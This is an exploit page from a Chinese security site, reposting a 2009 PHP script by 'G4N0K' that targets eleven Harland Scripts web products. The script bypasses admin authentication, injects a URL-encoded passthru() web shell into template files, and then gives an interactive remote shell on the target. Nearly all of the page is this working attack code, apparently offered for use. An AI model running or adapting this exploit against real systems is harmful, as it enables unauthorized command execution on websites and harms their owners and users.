首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Harland Scripts 11 Products Remote Command Execution Exploit
来源:ganok[sh!t]gmail.com 作者:G4N0K 发布时间:2009-05-18  

<?php
//786
/*
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                            

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' /
                    | |_| | |__   _| | |\  | | |_| | | . \
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
 Harland Scripts 11 Products Remote Command Execution Exploit
==============================================================================

 [ª] Script:.............[ Harland Scripts 11 Products ]...............
 [ª] Website:............[ http://harlandscripts.com(!) ]..............
 [ª] Today:..............[ 1005009  ]..................................
 [ª] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......

 


  [+] What's going on
 ======================================
       [0] Auth bypass...
       [1] PHP-Code Injection...


  [+] Vulnerable Scripts
 ======================================
       1 - Traffic Click 4 Cash Script
       2 - Get A Date Script
       3 - Birthsake Keepsake
       4 - FFA
       5 - TShirt Rental Script
       6 - Mug Rental script
       7 - Top Hits
       8 - Recipe 6.0
       9 - Link Lister Traffic System
      10 - Link Back Checker Service Script
      11 - AD PHP Script


  [+] SQLi & AFU
 ======================================
  Some of these scripts are also vulnerable to "SQLi" and "Arbitrary File Upload(Auth bypass)"...


*/
error_reporting(0);

if (php_sapi_name() <> "cli") {
 die("WTF, Run Me From CommandLine...");
}
if ($argc <> 4){__nfo();__usg();exit;}
$hst = $argv[1];
$pth = $argv[2];
$prd = $argv[3];

function __nfo()
{
$ganok = <<<EOL
 
        +-------------------------------------------------------------+
        | Harland Scripts Multiple Products Command Execution Exploit |
        |              by: G4N0K | mail[o]ganok[ta]com                |
        |          Thanks: ALLAH, MSD, SMN, AMD, AFN, Str0ke          |
        +-------------------------------------------------------------+
\r\n
EOL;
print $ganok;
}

function __usg()
{
echo <<<GNK
        uasge...:
 
    xpl.php [host] [path] [product-number]
    xpl.php 127.0.0.1 /FFA/ 4
  
   
          Product Numbers:
          =========================================
          1 - Traffic Click 4 Cash Script
          2 - Get A Date Script
          3 - Birthsake Keepsake
          4 - FFA
          5 - TShirt Rental Script
          6 - Mug Rental script
          7 - Top Hits
          8 - Recipe 6.0
          9 - Link Lister Traffic System
         10 - Link Back Checker Service Script
         11 - AD PHP Script
  
GNK;
}

function __snd($hst, $pkt)
{
 $socket = fsockopen($hst, 80, $errno, $errstr, 30);
 $ggg='';
 if (!$socket) {
  echo "\r\n    [+] Socket err#: $errstr ($errno)\n\r";exit;
 } else {
  fwrite($socket, $pkt);
  while (!feof($socket)) {
   $g4n0k.=fgets($socket, 2048);
  }
  fclose($socket);
  return $g4n0k;
 }
}

function __srch($wt)
{
 $pos = strpos($wt, 'gnkgnkgnk');
 $pos_end = strrpos($wt, 'gnkgnkgnk');
 if (!$pos && !$pos_end){echo " [!] error...\r\n";}
 $rest = substr($wt, $pos+9, ($pos_end - ($pos+9)));
 return $rest;
}

 $joke = "act=save&fname=..%2Ftpl%2Fheader.php&art=%3C%3Fphp+error_reporting%280%29%3Bprint%28%22gnkgnkgnk%22%29%3Bpassthru%28%24_GET%5B%22gnk%22%5D%29%3Bprint%28%22gnkgnkgnk%22%29%3B+%3F%3E";
 
 __nfo();

  if ($prd == 1 || $prd == 2 || $prd == 3 || $prd == 4)
  {
   $pth0 = "admin/template.php";
   $pth1 = "tpl/header.php";
  }
    elseif ($prd == 5 || $prd == 6)
  {
   $pth0 = "admin/template.php";
   $pth1 = "templates/header.php";
  }
    elseif ($prd == 7)
  {
   $pth0 = "admin/template.php";
   $pth1 = "template/header.php";
   
  } elseif ($prd == 8)
  {
   $pth0 = "admin2/template.php";
   $pth1 = "admin2/gnk.php";
   $joke = "act=save&fname=gnk.php&art=%3C%3Fphp+error_reporting%280%29%3Bprint%28%22gnkgnkgnk%22%29%3Bpassthru%28%24_GET%5B%22gnk%22%5D%29%3Bprint%28%22gnkgnkgnk%22%29%3B+%3F%3E";
   
  } elseif ($prd == 9)
  {
   $pth0 = "admin/template.php";
   $pth1 = "admin/backup/gnk.php";
   $joke = "act=save&fname=backup%2Fgnk.php&art=%3C%3Fphp+error_reporting%280%29%3Bprint%28%22gnkgnkgnk%22%29%3Bpassthru%28%24_GET%5B%22gnk%22%5D%29%3Bprint%28%22gnkgnkgnk%22%29%3B+%3F%3E";
   
  } elseif ($prd == 10)
  {
   $pth0 = "admincontrol/template.php";
   $pth1 = "admincontrol/gnk.php";
   $joke = "act=save&fname=gnk.php&art=%3C%3Fphp+error_reporting%280%29%3Bprint%28%22gnkgnkgnk%22%29%3Bpassthru%28%24_GET%5B%22gnk%22%5D%29%3Bprint%28%22gnkgnkgnk%22%29%3B+%3F%3E";
   
  } elseif ($prd == 11)
  {
   $pth0 = "template.php";
   $pth1 = "gnk.php";
   $joke = "act=save&fname=gnk.php&art=%3C%3Fphp+error_reporting%280%29%3Bprint%28%22gnkgnkgnk%22%29%3Bpassthru%28%24_GET%5B%22gnk%22%5D%29%3Bprint%28%22gnkgnkgnk%22%29%3B+%3F%3E";
   
  } else
  {
   __usg();
   exit;
  }

 $msd_pyld  = "POST {$pth}{$pth0} HTTP/1.1\r\n";
 $msd_pyld .= "Host: {$hst}\r\n";
 $msd_pyld .= "Keep-Alive: 300\n\r";
 $msd_pyld .= "Connection: keep-alive\r\n";
 $msd_pyld .= "Content-Length: ".strlen($joke)."\r\n";
 $msd_pyld .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
 $msd_pyld .= $joke;


 echo "\r\n  [+] Trying to exploit {$hst}...";

 $amd_pyld  = "GET {$pth}{$pth1} HTTP/1.1\r\n";
 $amd_pyld .= "Host: {$hst}\r\n";
 $amd_pyld .= "Connection: close\n\r\n\r";

 if (!stristr(__snd($hst, $msd_pyld), "permission") && stristr(__snd($hst, $amd_pyld), "gnk"))
 {
  echo "\r\n  [+] PHP-Code has been injected...";
  echo "\r\n  [+] Now you can exec your commands...\r\n";} else {
  echo "\r\n  [+] Oops!, Code injection failed.\r\n"; exit;
 }

while(1)
{
 echo "\r\nphp-shell@{$hst}# ";
 if (($cmd = str_replace (" ", "%20", trim(fgets(STDIN)))) == "exit") exit;
 $smn_pyld  = "GET {$pth}{$pth1}?gnk=".$cmd." HTTP/1.1\r\n";
 $smn_pyld .= "Host: {$hst}\r\n";
 $smn_pyld .= "Connection: close\n\r\n\r";
 print __srch(__snd($hst, $smn_pyld));
}

?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Audioactive Player 1.93b (.m3u
·Audioactive Player 1.93b (.m3u
·Jieqi CMS versions 1.5 and bel
·freebsd/x86-64 execve /bin/sh
·linux/x86-64 setuid(0) + execv
·Microsoft IIS 6.0 WebDAV Remot
·2daybiz Template Monster Clone
·PHPenpals <= 1.1 (mail.php ID)
·2daybiz Business Community Scr
·Basic differences between x86
·StrawBerry 1.1.1 LFI / Remote
·linux/x86-64 bindshell(port 44
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved